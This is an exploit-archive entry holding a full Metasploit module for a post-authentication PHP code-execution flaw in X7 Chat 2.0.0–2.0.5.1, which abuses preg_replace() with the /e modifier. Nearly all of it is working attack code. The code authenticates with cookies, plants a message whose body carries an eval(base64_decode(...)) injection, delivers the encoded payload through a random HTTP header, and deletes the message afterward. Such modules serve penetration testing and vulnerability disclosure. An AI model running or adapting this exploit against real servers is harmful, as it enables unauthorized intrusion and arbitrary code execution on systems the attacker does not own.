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- Titulo completo X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution Exploit
- Fecha 2014-11-06
- Categoria remote exploits
- Platforma php
- ==========================================
- Descripcion:
- This Metasploit module exploits a post-auth vulnerability found in X7 Chat versions 2.0.0 up to 2.0.5.1. The vulnerable code exists on lib/message.php, which uses preg_replace() function with the /e modifier. This allows a remote authenticated attacker to execute arbitrary PHP code in the remote machine.
- ==========================================
- ##
- # This module requires Metasploit: http://metasploit.com/download
- # Current source: https://github.com/rapid7/metasploit-framework
- ##
- require 'msf/core'
- class Metasploit3 < Msf::Exploit::Remote
- Rank = ExcellentRanking
- include Msf::Exploit::Remote::HttpClient
- include Msf::Exploit::PhpEXE
- def initialize(info = {})
- super(update_info(info,
- 'Name' => 'X7 Chat 2.0.5 lib/message.php preg_replace() PHP Code Execution',
- 'Description' => %q{
- This module exploits a post-auth vulnerability found in X7 Chat versions
- 2.0.0 up to 2.0.5.1. The vulnerable code exists on lib/message.php, which
- uses preg_replace() function with the /e modifier. This allows a remote
- authenticated attacker to execute arbitrary PHP code in the remote machine.
- },
- 'License' => MSF_LICENSE,
- 'Author' =>
- [
- 'Fernando Munoz <fernando[at]null-life.com>', # discovery & module development
- 'Juan Escobar <eng.jescobar[at]gmail.com>', # module development @itsecurityco
- ],
- 'References' =>
- [
- # Using this URL because isn't nothing else atm
- ['URL', 'https://github.com/rapid7/metasploit-framework/pull/4076']
- ],
- 'Platform' => 'php',
- 'Arch' => ARCH_PHP,
- 'Targets' => [['Generic (PHP Payload)', {}]],
- 'DisclosureDate' => 'Oct 27 2014',
- 'DefaultTarget' => 0))
- register_options(
- [
- OptString.new('USERNAME', [ true, 'Username to authenticate as', '']),
- OptString.new('PASSWORD', [ true, 'Pasword to authenticate as', '']),
- OptString.new('TARGETURI', [ true, 'Base x7 Chat directory path', '/x7chat2']),
- ], self.class)
- end
- def check
- res = exec_php('phpinfo(); die();', true)
- if res && res.body =~ /This program makes use of the Zend/
- return Exploit::CheckCode::Vulnerable
- else
- return Exploit::CheckCode::Unknown
- end
- end
- def exec_php(php_code, is_check = false)
- # remove comments, line breaks and spaces of php_code
- payload_clean = php_code.gsub(/(\s+)|(#.*)/, '')
- # clean b64 payload (we can not use quotes or apostrophes and b64 string must not contain equals)
- while Rex::Text.encode_base64(payload_clean) =~ /=/
- payload_clean = "#{ payload_clean } "
- end
- payload_b64 = Rex::Text.encode_base64(payload_clean)
- cookie_x7c2u = "X7C2U=#{ datastore['USERNAME'] }"
- cookie_x7c2p = "X7C2P=#{ Rex::Text.md5(datastore['PASSWORD']) }"
- rand_text = Rex::Text.rand_text_alpha_upper(5, 8)
- print_status("Trying for version 2.0.2 up to 2.0.5.1")
- print_status("Sending offline message (#{ rand_text }) to #{ datastore['USERNAME'] }...")
- res = send_request_cgi({
- 'method' => 'GET',
- 'uri' => normalize_uri(target_uri.path, 'index.php'),
- 'headers' => {
- 'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
- },
- 'vars_get' => {
- # value compatible with 2.0.2 up to 2.0.5.1
- 'act' => 'user_cp',
- 'cp_page' => 'msgcenter',
- 'to' => datastore['USERNAME'],
- 'subject' => rand_text,
- 'body' => "#{ rand_text }www.{${eval(base64_decode($_SERVER[HTTP_#{ rand_text }]))}}.c#{ rand_text }",
- }
- })
- unless res && res.code == 200
- print_error("Sending the message (#{ rand_text }) has failed")
- return false
- end
- if res.body =~ /([0-9]*)">#{ rand_text }/
- message_id = Regexp.last_match[1]
- user_panel = 'user_cp'
- else
- print_error("Could not find message (#{ rand_text }) in the message list")
- print_status("Retrying for version 2.0.0 up to 2.0.1 a1")
- print_status("Sending offline message (#{ rand_text }) to #{ datastore['USERNAME'] }...")
- res = send_request_cgi({
- 'method' => 'GET',
- 'uri' => normalize_uri(target_uri.path, 'index.php'),
- 'headers' => {
- 'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
- },
- 'vars_get' => {
- # value compatible with 2.0.0 up to 2.0.1 a1
- 'act' => 'usercp',
- 'cp_page' => 'msgcenter',
- 'to' => datastore['USERNAME'],
- 'subject' => rand_text,
- 'body' => "#{ rand_text }www.{${eval(base64_decode($_SERVER[HTTP_#{ rand_text }]))}}.c#{ rand_text }",
- }
- })
- unless res && res.code == 200
- print_error("Sending the message (#{ rand_text }) has failed")
- return false
- end
- if res.body =~ /([0-9]*)">#{ rand_text }/
- message_id = Regexp.last_match[1]
- user_panel = 'usercp'
- else
- print_error("Could not find message (#{ rand_text }) in the message list")
- return false
- end
- end
- print_status("Accessing message (#{ rand_text })")
- print_status("Sending payload in HTTP header '#{ rand_text }'")
- if is_check
- timeout = 20
- else
- timeout = 3
- end
- res = send_request_cgi({
- 'method' => 'GET',
- 'uri' => normalize_uri(target_uri.path, 'index.php'),
- 'headers' => {
- 'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
- rand_text => payload_b64,
- },
- 'vars_get' => {
- 'act' => user_panel,
- 'cp_page' => 'msgcenter',
- 'read' => message_id,
- }
- }, timeout)
- res_payload = res
- print_status("Deleting message (#{ rand_text })")
- res = send_request_cgi({
- 'method' => 'GET',
- 'uri' => normalize_uri(target_uri.path, 'index.php'),
- 'headers' => {
- 'Cookie' => "#{ cookie_x7c2u }; #{ cookie_x7c2p };",
- },
- 'vars_get' => {
- 'act' => user_panel,
- 'cp_page' => 'msgcenter',
- 'delete' => message_id,
- }
- })
- if res && res.body =~ /The message has been deleted/
- print_good("Message (#{ rand_text }) removed")
- else
- print_error("Removing message (#{ rand_text }) has failed")
- return false
- end
- # if check return the response
- if is_check
- return res_payload
- else
- return true
- end
- end
- def exploit
- unless exec_php(payload.encoded)
- fail_with(Failure::Unknown, "#{peer} - Exploit failed, aborting.")
- end
- end
- end
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